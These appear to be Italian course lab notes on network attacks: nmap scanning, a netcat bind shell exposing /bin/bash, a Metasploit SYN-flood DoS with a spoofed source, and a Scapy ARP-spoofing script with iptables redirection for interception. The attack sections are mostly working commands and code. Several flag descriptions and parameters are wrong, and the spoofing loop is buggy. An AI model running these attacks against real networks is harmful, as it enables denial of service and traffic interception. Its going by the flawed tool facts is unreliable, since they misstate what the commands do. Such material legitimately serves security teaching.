[Lab 1] Network

Tools:

- nmap
- netcat

NMAP

Di default la scansione viene eseguita sul protocollo TCP.
Effettua la scansione sulle 1000 porte più importanti:

```
sudo nmap IP_ADDRESS
```

Ci sono meccanismi di sicurezza che bloccano nmap:

- esempio per accedere alla porta 22 devo prima accedere alla 333, 447, ... ecc e poi posso accedere alla 2

Come ottengo più info:

```
sudo nmap -sS -p80 IP_ADDRESS
```

- -sS fa una scansione stealth, mando solo il pacchetto SYN se l'altro risponde con SYN ACK allora la porta è aperta
  - non viene bloccata perchè la connessione non viene aperta
- -p80 è per specificare che voglio fare la scansione solo sulla porta 80. Se metto -p80,22 lo faccio sia su 80 che 22
- se faccio -p- faccio la scansione su tutte

```
sudo nmap -sU IP_ADDRESS
```

- fa la scansione con UDP

```
sudo nmap -sC -sV  IP_ADDRESS
```

- -sC mi fa fare una scansione nmap "sicura" per la vittima, perchè nmap usa dei plugin che potrebbero far crashare la vittima
- -sV serve per enumerare la versione dei servizi

possiamo scrivere i nostri plugin che devono avere estensione NSE e scritti con linguaggio LUA e caricati nella cartella plugin di nmap

Per capire il sistema operativo della vittima posso fare

```
sudo nmap -sO IP_ADDRESS
```

- potrei fare ping IP_ADDRESS, se ttl= 64 allora è linux, se è 127 allora è windows, router cisco 250
  - se c'è un proxy in mezzo non funziona questa tecnica

Per far stampare le porte trovare man mano e non alla fine posso usare

```
nmap -v IP_ADDRESS
```

nmap prima fa la scansione ping per vedere se la macchina è attiva, in questo modo posso toglierla così va più veloce:

```
nmap -sn IP_ADDRESS
```

per bloccare la risoluzione del DNS posso usare

```
nmap -Pn IP_ADDRESS
```

- per fare tutto più veloce

Per salvare l'output:

```
sudo nmap ... IP_ADRESS -oA file_name
```

- -o permette di salvare l'output, -oA me lo salva in tutti i formati che prevede nmap

se vedo che ho per esempio openSSH 8... lo copio e cerco su google questa versione + launchpad, così posso vedere che versione di linux c'è dietro

- posso farlo anche con altri servizi

NETCAT

```
nc -nvlp PORT -e /bin/bash
```

- mi permette di avviare la bash quando l'altra persona si collega al nostro ip e porta

SYN FLOODING ATTACK

DoS che invia tanti pacchetti SYN (tcp) in modo da riempire il buffer della vittima

In Python con SCAPY:

Con Metasploit:

```
sudo msfconsole

search syn

use auxiliary/dos/tcp/synflood

show options

set RHOST TARGET_IP

set RPORT TARGET_IP

set SHOST PIVOT_TARGET_IP

run
```

- RHOST lo uso per settare l'IP della vittima
- RPORT lo uso per settare la porta della vittima da attaccare
- SHOST lo posso settare per cambiare il nostro IP con quello di un'altra macchina

per avere informazioni sulle nostre conversazioni:

```
sudo tcpdump -vv tcp port 80
```

- -vv è verbose che mi dà info
- tcp -> solo pacchetti tcp
- port 80 -> solo la porta 80

Per vedere le performance della interfaccia di rete della macchina attaccata

```
speedometer -l -r INTERFACE -t INTERFACE -m $((1024*1024*3 / 2))
```

- RX sono ricevuti
- TX trasmessi

Per accedere ad una cartella veramente temporanea che viene svuotata ad ogni avvio posso fare:

```
cd /dev/shm
```

ARP SPOOFING

```
sudo arp -a
```

- posso vedere le macchine conosciute dalla macchina su cui la stiamo usando

Se voglio fare uno scan della rete in cui siamo collegati possiamo usare il tool arp-scan

```
sudo arp-scan NETWORK (192.168.1.0/24 tipo)
```

Script in python:

se uso virtual env e voglio eseguire come root devo fare così:

```
which python

#copio il path

sudo path_copiato script.py
```

```
from scapy.all import ARP, Ether, send, srp


""" this gives us the MAC address of the machine with IP=ip"""
def get_mac_addr(ip):
    arp_request = ARP(pdst=ip)
    broadcast = Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_req_broadcast = broadcast/arp_request

    answered_list = srp(arp_req_broadcast, timeout=1, verbose=False)[0]

    return answered_list[0][1].hwsrc
```

```
victim_ip = '192.168.86.130'
server_ip = '192.168.86.128'

victim_mac=get_mac_addr(victim_ip)
server_mac= get_mac_addr(server_ip)

print(f'Server MAC address: {server_mac}')
print(f'Victim MAC address: {victim_mac}')



#we put our MAC address on the victim table instead of the real spoofed ip MAC address
def spoof(victim_ip, spoof_ip, victim_mac):
    packet = ARP(op=2, pdst=victim_ip, hwdst=victim_mac, psrc=spoof_ip)
    send(packet, verbose=False)



while True:
    spoof(victim_ip, server_ip, victim_mac)
    spoof(victim_ip, server_ip, server_mac)
```

Sulla macchina attaccante devo abilitare il forwarding:

```
sudo bash -c 'echo 1 > /proc/sys/net/ipv4/ip_forward'
```

- questo perchè il pacchetto arriva ma ha l'ip del proprietario vero e la nostra macchina cerca di inviarlo al destinatario ma il MAC è il proprio e si blocca

Inoltre devo abilitare una regola di routing per far si che il pacchetto rimanga alla vittima:

```
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 8080 -j REDIRECT --to-port 9001
```

Per vedere se ha funzionato

```
sudo iptables -t nat -L
```

Per ristabilire tutto

```
sudo bash -c 'echo 0 > /proc/sys/net/ipv4/ip_forward'
```

```
sudo iptables -t nat -D PREROUTING -p tcp --destination-port 8080 -j REDIRECT --to-port 9001
```